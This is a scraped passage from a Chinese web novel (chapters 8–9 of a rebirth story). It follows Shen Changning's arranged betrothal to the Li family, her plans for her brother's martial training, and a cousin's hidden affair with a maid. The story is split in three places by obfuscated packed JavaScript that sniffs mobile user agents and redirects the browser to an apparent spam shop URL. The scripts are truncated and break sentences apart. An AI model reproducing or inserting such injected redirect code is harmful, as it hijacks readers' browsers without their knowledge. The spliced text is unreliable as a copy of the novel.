重活一世，还要嫁人。 说到底，她不过是件让沈家仕途更通达的货品，价高者得。 她不愿意嫁李家，后面还有张家王家。 沈长宁思绪发散。 片刻后，不愿再想，提灯去跨院寻沈庭萧。 沈庭萧还没睡，正在描九九消寒图，边上一摞杂书。 “姐姐！” 沈庭萧不喜文墨，唯好弓枪。读书一道，实在没天赋，沈钦和老夫人最初还盼着沈庭萧能像他父亲般，少通诗书，特请了大儒细心培养，沈庭萧学的也算认真，但没天赋就是没天赋。 沈钦长叹。 这孩子，此生能过院试，就算他父亲在天保佑了。 沈钦抱着最后一丝希望，给沈庭萧找了个习武先生，没成想，沈庭萧在此道，是个天才。 学了不过一年，已远胜那些学了三四年的。 只是沈钦依旧要求他在族学待满八年，跟着老儒读完四书五经及诗词策论。不然出门在外，他都替自己死去的二弟觉得害臊。 先前的习武先生只是启蒙，沈钦另给他寻了个师父，是咸初六年的武举人，教武，亦教武学。 沈庭萧跪坐在三屏围子嵌理石罗汉床上，上置一榻几。 沈长宁轻轻坐在他旁侧，二人隔着榻几对视，沈长宁瞧出沈庭萧情绪不太高，问了嘴。 沈庭萧其实是因为沈长宁将要成婚。 他白日听到了，有人来问沈长宁的婚事，他姐姐要嫁人了。 一想到要与她分开，沈庭萧心底沉甸甸的。 沈庭萧无言。 沈长宁却懂了，笑在灯烛旁一闪即逝，不知道在安慰谁，“女子是不能不成亲的。” 沈庭萧知晓这个道理。 不成亲的女子，若非削发做姑子，就要赶到乡下庄子，由仆妇看管，此生不得认祖归宗，这尚算是宽柔做法。 有些姑娘宁死不嫁，还会被沉塘。 沈庭萧不吭声。 沈长宁知道他自己总有会想开的一天，笑了笑，“不说这些，姐姐今日来找你，是为了旁的事。” 沈庭萧收敛心绪，抬起头，认真听。 沈长宁问：“你习武，是想做什么呢？” 沈庭萧的死，是她上辈子的心结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773615|145694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，死得那般惨烈，让她百般神伤。 沈庭萧：“自然是镇内攘外，安邦定国。” 烛火明媚。 他的眼亮的好似隐匿在重重水波中的剔透玛瑙。 沈长宁声音轻柔，带着自己没有察觉的叹息：“打仗是会死人的。” “我不惧。” “若死在自己人的阴谋诡计下呢？让你尸骨无存、万箭穿心！”沈长宁无法遏制地回想起传来的军报。 话像一笼帘帐，将沈庭萧从头笼罩至脚，他怔然。 他从未想过此问题。 老儒生素日粉饰的太平，被轻轻一问，倏得挑破，露出他从未见过的一面—— 那是朝堂上的同室操戈。 他沉默，复又言，字字句句，极是认真：“那便是我的命数，天要杀我，与战无尤。” 沈长宁呆住，好半晌，才稳住情绪。 可眼眶的酸涩，怎也压不住。上辈子，光是听他的死讯，就让她仿若死了一遍。她不敢想，他会有多疼、多绝望。这曾是她心上最痛苦的一个疤结，永远不得愈合，时刻鲜血淋漓。 但此刻，这样一个平淡的夜晚。 血肉开始生长，泛出痒痛。 沈长宁缓了又缓，不让情绪外泄，又嗔怨，恼他说话不知深浅，“小孩子懂什么命数，也不怕不经意间惹到了神佛，让你来日吃大苦。” 沈庭萧肘搭在榻几上，手撑着脸，朝沈长宁笑。 他不反驳了。 他听沈长宁的话。 沈长宁又问：“除了镇内攘外，安邦定国，你还有什么想做的吗？” 沈庭萧想想：“我很喜欢古人的一句话，叫大丈夫当朝碧海而暮苍梧，如若不上战场，我想做个四海漂泊的侠客。” 他脸生向往，复接：“如果有机会，我很想像他那般活。” 他一点也不喜欢做官。 他此生，都无意于此道。他不懂，为什么因为父亲是文官，他就一定要为官做宰、科举兴楣。 夜深。 沈长宁躺在床上，盯着头顶的夹帐，微微出神。 山不见他，他自去见山，北历三秦、南极五岭，在山南山北、江东江西间一展胸怀，倒也是个不错的结局。 夜风生凉，沈长宁不知何时，也入了梦乡。 碧霄阁的灯熄了。 凝春堂的灯燃着，打透楹窗。 许窈娘自从老夫人那回来后，心就一直静不下来，如被大手翻来覆去地倒翻般，一会儿在上，一会儿在下。 沈鑫问她怎的。 许窈娘将老夫人的话吐出。 沈鑫如坠冰窖，悚然而问：“你不会应了吧！” 许窈娘长叹：“我哪敢呢，我不似老爷，眼界宽广，见的人多，经的事多。可我知晓，官家人不做亏本的买卖，李家既选长宁，而非宝婵，定有其出挑的地儿。” 沈鑫依然心有余悸，接过仆妇递来的茶水，止不住嘱托：“近两日，你少去母亲那，省得她又说这些没影的事，把你夹在中间。” 他又叹说：“也就是父亲不在。” 父亲在时，她母亲哪敢想什么说什么，行起事来，哪次不是百般思量。 - 次日，李家递了拜帖，言明将于腊月二十六上门拜访。 日升月落。 冬雪渐化。 二十六日早，沈长宁刚睡醒，就被梳妆嬷嬷拉起来打扮。 8. 重开宴8 连方慧都来了。 和老夫人的那点子不快，早被今日的喜事冲散了，脸上笑意盈盈。 真是祖宗保佑！ 今日李家夫人来，只要不出差错，这桩亲事八成就要定下来了。 只待会试一过，再揭榜，李家就要开始正式的交换庚贴、下聘了。 老夫人平日不喜沈长宁，今日也露了笑，还亲自让她给沈锡和沈轶功上了香。 大房不愿、三房也不松口，她就是再有心有力，也没地儿使。只得便宜沈长宁。 她这脉，是大宗分出来的，家里供的也非祖祠，而是支祠，只供高祖、曾祖、祖父、父亲考妣。规模不大，气势却非凡。建在高墙环绕处，周遭庭院深深，榆柏成荫，万古长青。 内里亦是香烛辉煌，锦帐绣幙。 沈长宁跪在蒲团上，垂下的长睫在眼睑落下淡淡影子。 老夫人说希望沈家长盛。 沈长宁双手合十，想起老夫人带她来时路上的话，“你命好，能去尊贵人家做正头娘子，这可是旁人求都求不来的福气。” 老夫人在祖父身边过了段好日子，每每提起，很是得意。 外任时，祖父乃四品，给她挣了诰命。 沈长宁一哂。 前世，她成了皇后，天下间最尊贵的人，不还是他人的附庸吗？ 做皇后，要贤良淑德、要爱护妃嫔、要母仪天下，要做孝道典范，不得怨、不得妒、不得恨。 坐在那上的是余温尚存的尸体，是一本行走的女德女戒，是天下为妻者的典范。 或许还有旁的，左右都不是人。 沈长宁不想重蹈覆辙。这一世，可再不要入宫了。 老夫人让沈长宁和父亲说说话、托其在天下照拂一二。 沈长宁遥看牌位，默默道：此生若注定做不得在天翱翔的雀鸟，只得嫁人，还望给她个短命、有钱、有权又干净的。 她不愿再繁华做茧了。 沈长宁忽觉得自己太贪，人之所求，十事九不全，哪能尽皆圆满。 可又不知去哪个，想想，干脆道，只要结局能让她离开京城，做个快活的鸟，过程苦些，她也认。 李家夫人来时，老夫人嘴角的笑还未压下。 今日在祠堂，烧出了一炉状似莲花的好香。定是祖宗听到了她所念，保佑着。 老夫人和方慧笑言：“今日之事，约莫着能成。” 过了不足三日，老夫人就将当日一切轻飘飘抹去，忘记了当日是如何想此桩婚事不成。 李家来得阵仗颇大，婢女仆妇簇拥，宝盖香车，行进止停间，却俨然有度，不见分毫杂声。 她是娇客，众人亲自去迎。 李家夫人年刚四十，出自簪缨大族，自幼规矩极严，待人时，亦是守礼，娴雅有度，让人挑不出丝毫的错。 每个动作，都似用精细的画笔细细描绘的。 李家夫人对沈家，算不得太热络，但也未冷着脸。 李家夫人入门，身旁仆妇替夫人向众姑娘赠礼，又言，长辈的一点心意，不必谢了。 沈宝婵看呆了。 李家夫人的意思哪是不必道谢，分明是让她们莫要凑到她眼前。 不管因着什么娶沈长宁，左右她骨子里都是不大看得上沈家的。 这就是沈长宁未来的婆母吗？ 这性子，嫁过去，得站多少规矩。 沈妙仪却抱着盒子，瞧了眼上头复杂精细的花纹，趁人不备，轻轻掀开，见是一枚金鎏银的蝴蝶发钗，并着盒胭脂以及绢丝花。 加起来，约莫小百两。 沈妙仪一个月例银不过三两，外加二两的胭脂钱，这还是因着沈家的祖辈积累，几代传承，产业颇丰，才养得起一大家子人。 沈妙仪侧身，瞧看眼李家夫人的马车。 风吹过，丝绸所织的华美帘子微微掀起，带着悬在轿顶的朱丝络轻轻地晃。 偶尔间隙，风大些，露出内里铺在脚下的绒毯。 她好似闻到了车内熏香。 兰熏桂馥，华丽璀璨。 这就是四姐姐将要嫁的人家吗？ “你怎还不走？”沈宝婵未见沈妙仪，问了仆妇，回来叫人。 沈妙仪回神，将盒子一扣，“来了。” 李家有意和沈家结亲，确实有着她功臣之女的身份，现正是关键时刻，将她娶进来，正好能借着同僚的口，向上吹吹风。 不过升尚书这般大的事，她哪真的寄托在一段姻缘上，李家自有旁的寄托与倚靠，不过那些是官场事，内里的利益交换她不参与，自有丈夫去忙。 她要做的，只有为自己的小儿子寻个好拿捏的妻子。 想着那个惹人厌的外室，李家夫人视线移到刚迈进门的姑娘身上，自上到下，不着痕迹地打量着每一寸，眼睛渐渐精亮起来。 来人一张芙蓉面、两弯春水眸，青丝鸦鬓，肤光白皙，走动间，泛出一层柔软的灵气。 沈长宁并无在此刻撂挑子的心。 左右婚事成不得，何必将自己的名声搭进去，不如卖个乖。 言行有度，举止娴雅，无论从何处，都挑不出丝毫的错。 李家夫人异彩涟涟。 她本想着，只要沈长宁无甚大的问题，就捏着鼻子认了，到底无母亲教导。 将就的心，此刻竟达到了七分满意。 她又问略问几句，听着是长辈关心的话，实则暗藏诸多小门道，涉及饮食起居、诗词歌赋。 沈长宁一一作答。 李家夫人见其口齿伶俐，颇通诗书，又对答得体，愈喜，不由和老夫人道：“可真是个聪慧的好孩子。” “能得夫人的青眼，是她的福气。”老夫人不经意间地略提几嘴，“我二儿膝下还有个儿子，小时调皮得不行，见了我们都调皮捣蛋的，在她身旁，倒是乖巧得很。” 李家夫人扬眉：“是吗？” “哪敢诓您。”老夫人恭维着。 李家夫人盯着沈长宁，脑中闪过儿子为了柔弱不能自理的外室，将家里闹得天翻地覆之模样，眼里闪过几缕沉沉暗光。 她不在乎一个外室，可她在乎自己的儿子，在乎丈夫的官声。 她需要一个替李家遮掩的儿媳。 手段厉害，能关注后宅，自然最好。若是个软弱的，能被她拿捏，也不错。只她更希望是前者，夫妻琴瑟和鸣，方为始终。 李家夫人离去时，拉着沈长宁的手，递去一白玉镯子，“这还是我出嫁那日，母亲塞在我嫁妆里的，你生得漂亮，正衬你。” 老夫人欢天喜地。 众人亦大喜。 婚事，成了！ 这分明就是定下的意思。 沈长宁道谢，脸上依旧沉稳，不见太多欢喜。 倒是个沉得住气的，李家夫人此刻对她的满意度达到巅峰，笑吟吟又说两句，方走。 她走，沈宝婵第一个凑过去瞧。 玉镯莹润洁白，不见丝毫瑕疵，举起对光，竟有透手之感。 沈宝婵咋舌李家出手之阔绰。 沈妙仪同看，心生艳羡。 再过几月，沈长宁嫁去李家，和她们便愈行愈远了。 沈钦下值，听闻消息，亦欢喜，本想去见沈长宁，未料沈长宁自己前来。 沈钦正有嘱托之言，他最担心的就是对方门第太高，尤其是李家夫人，是勋贵家出来的，平日里规矩甚多。 沈长宁若嫁去，难免要站规矩。 他一番恳切之言。 沈长宁点头，目露感激：“谢谢伯父。” 二人一番促膝长谈，沈钦瞧出她似有事要说，让她尽情言，他定竭力。 沈长宁微顿，认真道：“我想给庭箫换个习武师父。” 沈钦诧然。 那武举人，可是他托了许多关系才寻来的，怎说换就换？ 沈长宁自有想法。 武举人，讲的皆是封侯拜将之道。 沈庭萧已死在战场上一次，她不想让他再死第二次。 可她又不想太过违逆他的想法，被她的想法束缚，问过他的念头，左思右想许久，方有定论。 沈庭萧既想习武，便去。 想走遍大庆山川，便走。 她不需要他加官进爵，也不需要他恩庇家族，乃至成为自己的倚靠。 人总该为着自己活一次，不是所有人，生来的目标都是攀向那金台高殿。 那地方太高太孤寒，总无意趣。 她不喜欢，她的弟弟，也不喜欢。 沈长宁想救救沈庭萧。她瞧见他，总觉得瞧见了前世的自己。 “李家是文臣，我今将要嫁去，自然归属文臣一脉，他再跟着武举人习武，岂不是互生悖逆？” 沈钦怔然，半晌轻叹，神色微变，“你不说，我竟给忘了。” 文武不同席。 二者的圈子也不相同。 先太子谋逆案后，陛下尤为忌讳文臣武将相互勾结。 不过这也分品秩高低，起码宫中不会忌惮一六品小官和总旗勾连、意图谋反。 这也是他同意沈庭萧习武的原因，且沈庭萧并非他子，而是沈锡的儿子，旁人挑不出什么错。 现在倒不同。 沈钦微微一顿，不由问：“你有何时的去处？” 沈长宁说后。 沈钦良久无法回神，直到沈长宁走后，依旧忍不住频频回想。 “我想给他送到洗心寺去。”话如魔音，过了便留痕，怎也散不去。 她到底是怎么想到这的？ 沈钦长叹。 洗心寺有武僧—— 武僧也称僧兵，威名素扬，前朝更有“十三棍僧救唐王”之闻，去那，倒是个不错的归处。 内里的师父，都是有真本事的。 虽然知道沈庭萧不会剃度，只做俗家弟子，可他总止不住地想那小子光头模样。 沈钦想来想去，给自己想笑了。 同时告诉方慧，让她明日去姚家知会声，让他们出出力。 洗心寺也不是谁都能去的，开山师祖曾是宫里那位贵人的座上宾。 沈长宁与沈庭萧的舅舅，时任礼部祠祭清吏司郎中。 祠祭清吏司掌吉礼、掌祭祀、普后丧葬、大臣赠谥，并管理僧道、巫师及从事阴阳、卜筮、医药者。* 洗心寺正归此管。 方慧果真去了，还和姚家提了沈长宁的婚事，大夫人闻后百般热情，两靥生喜。 两人热热闹闹聊一番。 - 转眼到二十六。 许窈娘前日见了沈长宁的喜，当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773616|145694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚回去，是又叹又羡，叹的是李家夫人瞧着就性子冷硬，不好相处，羡的是李家的富贵荣华。 六部大员，多少人汲营一辈子，都摸不到边，沈长宁就这么嫁进去了。 但只想了一阵，此事就被她抛诸脑后，因为曹六爷要来了。 明日，曹六爷要携夫人林氏上门。 许窈娘喜里掺着紧张，定不下心，就去找方慧。 方慧近来心情大好，也不与三房怄气，而是劝解。 沈庭瞻的婚事可关系着沈庭文，她现今，也是万分盼着对方好的，顺顺利利，快些定下。 她们说着。 东跨院的灯同亮着。 沈庭萧看完了前几日借来的杂记，又跑去找沈庭文借新的书。他缠着沈长宁陪他同去，沈长宁不愿，打发他自己去。 她正和沈宝婵及沈妙仪翻看爆竹及花灯花样。 过两日就是年，家里要用。 沈庭萧瞧见，让她们等等自己，他马上回来。 他与沈庭文约定了，一旬日内定还，今日是最后一日，他不能失信。 那人性子清正、尤为坚韧。 小时候，他总护着沈长宁。 在学堂里，念书好的学生，格外得先生偏爱，沈庭文人如其名，文采斐然，私下里别人都打趣他是文曲星下凡，最开始是挖苦，不满先生总是夸他。 后来沈庭文连过县试、府试和院试，又高中举人，不知何时，远远将众人甩在身后，站在他们难以企及的高度。 再见面，沈庭文面色不改，并无倨傲，众人只觉羞愧难言。 他读书，无论寒暑，卷不离手，哪怕生了冻疮、起了痱子，也不肯耽搁，不让方慧去族学请假。 沈庭萧去过他的书房，借些杂书看，发现他许多书的边角都被翻得卷翘起边，变得毛绒绒的。 沈庭萧轻手轻脚来了沈庭文的书房。 本不想打扰他，甫一推门，就被人觉察，撞入一双清湛的眸子。 抬眼，但见一张肃立、端严的脸，眉目高挺、骨相清隽，宛若山巅不惧苦寒的长青松柏。 还未弱冠，却自生出一股沉静肃穆之感，稳当妥帖得有些超脱年纪，让人瞧见就觉得安稳。 沈庭萧觉着，许是古籍文字带来的，沈庭萧不怕他，却敬他。 沈庭萧还书，又递来沈长宁托他给沈庭文的酥酪，“姐姐给的。” 刚自提盒里拿出，茉莉香便溢了出来。 他不喜吃腻的，她一直都记得。 他也记得—— 沈庭文递给沈庭萧一碟杏仁糕，沈庭萧偶尔会来寻他，他就每日备着，怕他来此处饿。 门帘晃动，有人近来添炭。 沈庭萧以为是袭蕊，抬眼看，却不是，不由好奇，缠着那姑娘问。 沈庭文的书房，一直是袭蕊打理。甚至袭连笔墨纸砚，膳食灯烛，也皆出自她手。 袭蕊说给旁人她不放心，旁人不知沈庭文素来喜欢的样子。 问后方知，袭蕊今日不舒服。 袭蕊打小伺候沈庭文，依着方慧的意思，是想着以后让沈庭文收房，抬做姨娘。 沈庭文性子素来清简，无此想法，方慧隐隐提点几句，被不软不硬地顶回去，彻底作罢。 方慧私下又问袭蕊，想将她放出去。 袭蕊连连叩头，说不愿出去，亦不愿嫁人，只想在院里伺候着。 到底年岁不大就伺候在沈庭文身边，方慧心软，应了，又怕她不好意思提嫁人之事，每年都问，可得到的答案都是同一个。 这事讲究个你情我愿，袭蕊既没个喜欢的，她总不好硬拉郎配、错点鸳鸯谱，遭人记恨。 姑娘添了炭就走了。 门被拉开再合上，人影没入青砖黛瓦间，鞋面踩在青石砖上的声响随之渐行渐散。 她背影有些像袭蕊，沈庭萧的思绪随之飘远，回到前些日子。 当是暮春。 正是榆柳交荫、桃李争艳时。 他来寻沈庭文，未寻到，只见袭蕊。 春夏时节，京中时兴起簪花，袭蕊附着起风雅，银雀簪上也别了朵海棠花。他问袭蕊沈庭文的去处，袭蕊坐在庭前，笑着遥指。 鬓边海棠花因着她笑时娇颜，愈发娇俏明艳。 下午再见袭蕊，头上本鲜的海棠花，忽变得靡艳起来，花瓣簌然散落，在发梢蹭出一抹艳色。 晚间他在祖母院里用饭，坐于沈庭瞻旁侧，嗅见他身上的清浅香气，觉着好闻，问了嘴。 沈庭瞻笑回：“海棠香。” 沈庭萧惦念上，也寻了海棠花来折，直到拿至手中，凑至鼻尖，才发现，海棠本无香。 他又被骗了…… 只是件小事，沈庭萧本也忘了，若不是今日不见袭蕊，怕是这辈子也想不起来第二次。 沈庭萧挑拣好要看的杂书，和沈庭文告别，快步回去。沈长宁说，可以让他选个喜欢的爆竹。 路过一处墙角，见浓密树干后，隐有颤动黑影，那影一动，呜咽声便逸散开。 沈庭萧脸都要吓白了，根本不敢瞧，一溜烟跑没影了。 ……有鬼啊！ 救命！ 人过如风，只月不变。 暗淡月辉下。 袭蕊靠在沈庭瞻怀里，涕泪涟涟，哀哀欲绝。 9. 重开宴9 咸涩的泪自腮边滚落，又被一人用帕子轻轻拭去，袭蕊别开头。 沈庭瞻动作轻轻凝滞。 袭蕊渐生茫然。 过了年，她就十九了。 方慧是个心软的主母，知晓女子过了十七，难成婚，时隔几月，总会问问她，她闻此，只笑，朝其撒娇着说愿意留在书房伺候沈庭文。 方慧本想着让沈庭文将袭蕊收房，私下稍透露过意思，后见沈庭文不愿，就此作罢。袭蕊一说此话，方慧内心就被愧然淹没，她总觉得是自己的话耽误了袭蕊，对她比常人多了三分疼爱。 袭蕊不好作答，只得将这份恩，放在沈庭文和沈宝婵身上，可此举，又让方慧误会，认定她心底是有沈庭文的。 袭蕊羞惭难当。 她留在沈府，根本不是为了沈庭文，而是为了她自己。 她打小伺候在沈庭文身边，知晓他的性子，他说对她无意，不会将她收房，是真的。 那人对自己有敬重、有疼爱、有纵容，独独没有男女间的喜欢。 他只当自己是打小陪在身边的“姐姐”。 袭蕊也不愿使狐媚子手段碍他的路，他不喜自己，自己那般做，只会亲手将两人间的情谊毁去。 沈庭文将来是要为官做宰的，这份情不如留着，来日遇见难事，她去相求，他总不会看着。 方慧本欲给她放出去，再给她指门婚，天大的恩事，她动心不已，可细细一思量，终给拒了，留在沈家，沈家自会养她，每月还有一两的月例银子。 日日伺候在主子身边，眼界心气早提了上来。放出去，若非贫家妻，便是贵家妾，前者太清苦，一年挣的还没有她半年攒地多，后者要争风吃醋、还有可能为正妻所不容，她都不愿。不若留在沈庭文身边，搏一搏富贵。 直到她发觉，沈庭瞻似乎很喜欢自己。 袭蕊以为自己是错觉。 可后来发生种种，都在告诉她，她想的，是对的。 袭蕊偏过头，用手拭开眼角蓄着的泪珠，拾掇好情绪，去瞧沈庭瞻。 湛然清丽的眼与其对视。 她觉得，自己该和沈庭瞻断了。 她莫要耽误自己，也莫要再碍着沈庭瞻的路。 可眼眶的泪不知为何，就是不大压得住，袭蕊唾弃自己，最初和沈庭瞻在一起，也不过是想为自己谋条生路、搏一搏富贵，怎的相处中，还真动了不该有的心思。 三爷会为了迎娶三夫人进门，和老夫人以死相抗。 沈庭瞻，他会吗？ 袭蕊并不对此抱有任何期待，自从他在自己这通晓了人事，就成了花柳巷里的常客，惹得三夫人头疼不已。 她不敢说，是自己让他变成了此种模样。 三夫人不会饶过她的，三夫人最是不喜府里的丫鬟和少爷们拉拉扯扯、勾搭不清。 袭蕊想，这是最后一次，她最后一次见他，日后她再也不来了，她要笔银子就走。 沈庭瞻颇精建筑一道，又尤擅簪花、锦灯等精巧物件，造型繁复的官船，瞧看几日，也能复制出来，虽只是个不足一臂长的缩小版。 他有银子，许多达官贵人都喜欢他的东西。 袭蕊泫然欲泣，眼眶红红，噙着泪，攀在沈庭瞻肩上：“二少爷，再过些日子，曹家姑娘就要嫁进来了，你收收心，和她好生过日子，我也走了，大夫人会给我笔银子，我省些花，清苦些，总是够活过这两年的。” 脸倚处，少年清瘦挺拔的身子骤而僵住。 她不是说过，会永远和自己在一起的？ “我藏起来，定不会惹了您和新夫人的不痛快。”袭蕊蹭了蹭他的颈，皂角香气传入鼻尖，她叹。 还真有点舍不得。 - 沈长宁选了几个烟花样子，和另两个言说。 沈宝婵和沈妙仪同看上了一个，叽叽喳喳凑在一起商讨。 沈庭萧匆匆忙忙推门而进，唬了三人一跳。 沈妙仪离得最近，但听耳侧哐当一声门板敲在门框上，吓得脸都白了，帕子攥在胸前，娇嗔道：“哎呦我的老天，不知道的还以为虎来吃人了，怎莽莽撞撞的！” 本欲再说两句，可见沈庭萧的模样，人愣住。 她走过去，“你怎的了？” 沈庭萧不敢碰坏沈庭文的书，将东西搁置在条桌上，方凑过去，惊魂未定，和沈妙仪言之凿凿道：“我刚撞见鬼了！” 内宅里的人，素信鬼神之说。 沈妙仪忽然后悔刚被吓得太过，什么都不清楚，就向前凑，她扯出一个笑：“你诓我的吧！” “真的！就在后花园！是个多头多脚的女鬼，我还听见她哭了呢！幽咽哀凄。” 沈妙仪被他说得头皮发麻，忙去捂他的嘴：“莫说了！我带你去见……伯母。” 她本想说见母亲，想想又说去寻方慧，许窈娘为着曹六爷来欢喜难安，还是不要去扰她了。 说着，拉过沈庭萧的手就向外走，沈宝婵同样害怕，见两人身影渐散，打了一个哆嗦，忙跟着去。 两人一走，屋内空落落的。 沈长宁回想沈庭萧的话，沉思半响，将手中的花样册子放回桌上，去熏笼架上拿来斗篷披着，提着灯笼，同向正院去。 出门时，正撞见倚云，她问：“姑娘去哪？” “去找伯母。”沈长宁笑言，“你不用随我去了，刚剪了几个窗花，你替我贴上。” 沈长宁对这桩闹鬼之事略有几分印象。 但此事没后续。 她今只是想去瞧个热闹。 去方慧的院子，多要路过沈庭萧方才说的后花园。 沈家是个四进院子，虽不抵勋贵宰辅家的气派恢弘，亦算气派，一路朱红长廊，亭台层叠，回塘曲槛。 天下间的宅子，哪个里头，没亡过人。 沈家的不说以往终老在此的祖宗，单说大房夭折的长子。 沈长宁觉得像旁的事。前世，宫墙内外两重天，那里是个不得见人的去处，宫廷寂寞，常有太监宫女结成对食，明律上虽不允，不太明目张胆，无人追究。 沈庭萧所说的呜咽声，早散个干净。隆冬天寒，檐顶树梢的积雪还未化，群梅冲寒怒放，放眼四望，满地清明。 沈长宁翘脚张望，忽听脚步声，还以为是摸进后院的小厮，柳眉倒竖，正欲喝斥，临到嘴边，瞧见来人，骤呆住。 “二哥哥？” 沈庭瞻怔了下：“长宁？” 沈长宁提灯快走，惊诧：“二哥哥，你怎的在这？” “……明日曹六爷来家，我睡不着。”沈庭瞻顿了顿方回。 沈家儿郎模样多俊俏，沈庭瞻亦然，龙眉凤目，侧颜精致如玉刻。 沈长宁瞧他神色，本以为是因着来日见未来妻家，正要取笑，忽忆起前世旧事。 沈曹两家都对彼此颇为满意，婚事本要定下，不知为何不了了之，具体如何三房守口如瓶。来年二月，沈庭瞻远走离京，再未回来。 视线自沈庭瞻的肩上掠过，映向他来处，沈长宁瞳孔轻缩，脸生愕然，她呆住。 那地，不正是沈庭萧方才所说之处？ “……长宁？”沈庭萧见她久久无神，不由唤。 沈长宁回神，与其对视，提着灯笼的手下意识攥紧了几分，思绪在脑中打了个滚，怕他发现，微微垂目，来到他不易察觉的身侧，两人同向前走。 红纱笼罩着暖融融的亮黄，映亮脚下的路，走一寸，身前亮一寸，身后暗一寸。此消彼长间，惹的被拉长的影子跟着晃晃摇摇，沈长宁心跟着同晃，没定处。 两人穿过一道垂花门，来到另重院落。 沈长宁终问：“二哥哥是要回院？” 沈庭瞻平日里很疼家中的三个妹妹，凡出远门，归时从不落礼，大到箱笼、琉璃灯盏，小到丝绸扇面、簪环珠钗，都曾备过。 沈庭瞻应了，问她去何处，声音很低，伴着微微的哑意，状态并不好。 沈长宁说了沈庭萧的机遇，言谈时，目光一瞬不瞬地落在沈庭瞻脸上，未错过他面颊轻轻抖动的瞬间，登时了然。 淡淡的诡异感与“果然如此”同时浮现，沈长宁生了分裂之感。 沈庭瞻还是个如他父亲般的情种？ 她明明记得，她这哥哥，是秦楼楚馆的常客，惯会依红偎翠，惹的三叔和三叔母无奈至极，可他旁的地方极好，男子风流些，也不算恶名，加之他胡来，到底顾及着自己是世代书香的官家后代，寻的都是宿在高宅门需人引荐的暗娼。 普天下，只有轻狂人家才明着狎妓。 二人对视，脚步止住。 沈庭瞻沉默良久，猜到她许是有错察觉，自嘲笑笑：“我不会娶曹家姑娘的。” 他未说那人是谁，能出现在此处的又有几个？左右是后宅子里的。 沈长宁嘴张了张，欲言又止。 沈庭瞻猜到她想问什么，神情认真：“此志不改。” 他送沈长宁到正院门前，临别嘱托：“廊间积雪未化，湿滑难行，回去时记得让伯母遣个仆妇送你。” 他转身离开，沈长宁注视半晌，忽提灯跑去，唤他。 沈庭瞻止步回头，不知她有何事。 沈长宁提灯赶来，红融融的光映在他脸上，明灭不定，沈长宁将灯递去，笑笑：“天黑又寒，我怕哥哥走夜路时不小心跌了。” - 正房灯火通明。 方慧与许窈娘说着话，曹六爷先前见过沈庭瞻，府中三姑娘同喜他，颇为满意，这婚事，明日约莫就要定下了。 沈庭瞻定了亲，沈庭文的婚事就可提上日程，许多人私下都递了口风，她挑中几家的姑娘，想着万一高中，指不定有更好的，终未松口。 沈钦只六品，这辈子约莫也就此种模样了，她不得不为自己的孩子多想想，找个得力的姻亲。 许窈娘虚虚捧着方慧，顺势夸了几句沈庭文，方慧喜得又笑，说至一半，一群孩子风刮似地跑来。 方慧笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773617|145694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斥，“多大人了，毛毛躁躁的。” 许窈娘也睨了沈妙仪一眼。这孩子身子打小就弱，不得见风，她为了将养她，不知废了多少心思，好不容易和寻常姑娘无异，又不珍惜。 沈妙仪推推沈庭萧，沈庭萧一股脑的将听见瞧见的事说出来。 方慧与许窈娘脸上的笑渐渐收了。 女子哭声？ 二人对视一眼，同看出对方眼中愕然，以及……渐渐上涌的，惊疑不定的惧怒。 方慧表情险些维持不住，袖下的手轻颤。 哪个不检点的，在后宅子里厮混？ 她不是不通人事的姑娘！沈庭萧描述之言，分明是—— 方慧不敢向下想。 沈妙仪问要不要做场佛事。 这话当着姑娘们的话不好说，又是凭空猜测，没个证据，方慧遮掩过去，笑道：“怕是你们错认洒扫婆子了。”顿了顿，又正色：“神佛面前的事，马虎不得，许是真撞着了，改日请个师父上门瞧瞧。” 好一番言语，终将几人敷衍过去，待见沈长宁来，忙亲自去迎，安抚几句，拉着她手坐下。 沈妙仪来时，根本没敢瞧沈庭萧说的那处，方慧大松一口气，生怕做姑娘的见了忌讳之事。 听沈长宁走了那道，方慧心提到胸口。 沈长宁笑笑：“那地我瞧着倒什么特殊的，风过树梢，荫响阵阵，一晃神想错了，无不可能。” 方慧慢慢坐了回去。 沈长宁来既未瞧见，想来就算真有不干净的人事，此时也去了，寻也寻不得。 耐着性子和几个孩子说笑，终将人哄好，一一回去。 许窈娘与沈妙仪同回凝春堂，沈长宁与沈庭萧随其身后出来，沈庭萧朝方慧要灯，方慧惊然，边让仆妇点烛提灯，边嗔：“这么晚的天，你们来都没提灯的？也不怕磕了碰了。” 送走众人，方慧猛提步子，向东跨院走。 伺候的丫鬟仆妇欲跟着，她都不同意。 